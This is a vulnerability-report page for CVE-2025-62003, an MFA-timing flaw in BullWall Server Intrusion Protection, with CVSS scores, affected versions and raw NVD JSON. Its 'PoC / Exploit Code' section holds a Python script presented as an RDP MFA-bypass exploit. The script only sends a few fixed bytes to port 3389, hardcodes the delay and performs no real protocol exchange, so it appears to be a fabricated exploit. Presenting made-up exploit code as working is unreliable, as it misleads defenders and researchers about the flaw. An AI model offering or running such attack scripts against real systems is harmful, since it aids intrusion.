Security Vulnerability Report
中文
CVE-2025-62003 CVSS 7.5 HIGH

CVE-2025-62003

Published: 2025-12-18 21:15:54
Last Modified: 2026-01-15 20:16:04
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

BullWall Server Intrusion Protection has a noticeable configuration-dependent delay before the MFA check for RDP connections. A remote, authenticated attacker can potentially bypass detection during this delay. Versions 4.6.0.0, 4.6.0.6, 4.6.0.7, and 4.6.1.4 are affected. Other versions may also be affected.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.6:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.7:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bullwall:server_intrusion_protection:4.6.1.4:*:*:*:*:*:*:* - VULNERABLE
BullWall Server Intrusion Protection 4.6.0.0
BullWall Server Intrusion Protection 4.6.0.6
BullWall Server Intrusion Protection 4.6.0.7
BullWall Server Intrusion Protection 4.6.1.4
其他低于修复版本的版本可能也受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62003 PoC - BullWall MFA Bypass # This PoC demonstrates the timing vulnerability in MFA check import socket import time import sys def exploit_mfa_bypass(target_ip, target_port=3389): """ Exploit MFA bypass vulnerability by sending commands during delay window. Prerequisites: - Valid credentials for target system - BullWall Server Intrusion Protection with vulnerable configuration """ print(f"[*] Connecting to {target_ip}:{target_port}") # Step 1: Establish initial RDP connection with valid credentials sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) print("[+] Initial RDP connection established") # Step 2: Trigger MFA check send_mfa_trigger(sock) print("[+] MFA check triggered, delay window opened") # Step 3: Calculate delay - configuration dependent, typically 1-5 seconds delay_time = get_mfa_delay_config(target_ip) print(f"[*] Detected MFA delay: {delay_time} seconds") # Step 4: Execute malicious commands during delay window start_time = time.time() while time.time() - start_time < delay_time: send_exploit_payload(sock) time.sleep(0.1) print("[+] Exploit completed during MFA delay window") sock.close() def send_mfa_trigger(sock): """Send MFA trigger packet""" mfa_packet = b'\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00' sock.send(mfa_packet) def get_mfa_delay_config(target_ip): """Retrieve MFA delay configuration from BullWall""" # In real attack, this would query BullWall configuration return 3.0 # Default delay in seconds def send_exploit_payload(sock): """Send malicious payload during delay window""" # Payload to execute during MFA bypass window exploit_packet = b'\x03\x00\x00\x15\x02\xf0\x80\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' sock.send(exploit_packet) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62003.py <target_ip>") sys.exit(1) exploit_mfa_bypass(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62003", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-12-18T21:15:54.237", "lastModified": "2026-01-15T20:16:04.160", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "BullWall Server Intrusion Protection has a noticeable configuration-dependent delay before the MFA check for RDP connections. A remote, authenticated attacker can potentially bypass detection during this delay. Versions 4.6.0.0, 4.6.0.6, 4.6.0.7, and 4.6.1.4 are affected. Other versions may also be affected."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0C87A4BD-8446-495A-858F-350C7A123953"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "CBB35A27-59EA-4D0A-A6F7-75104CDFCB8D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "371D0AA2-A7EB-4FBF-AC12-A6496CC72319"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "E1B28813-CED9-4AD4-9653-CEAEAFECD8EE"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-352-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-62003", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}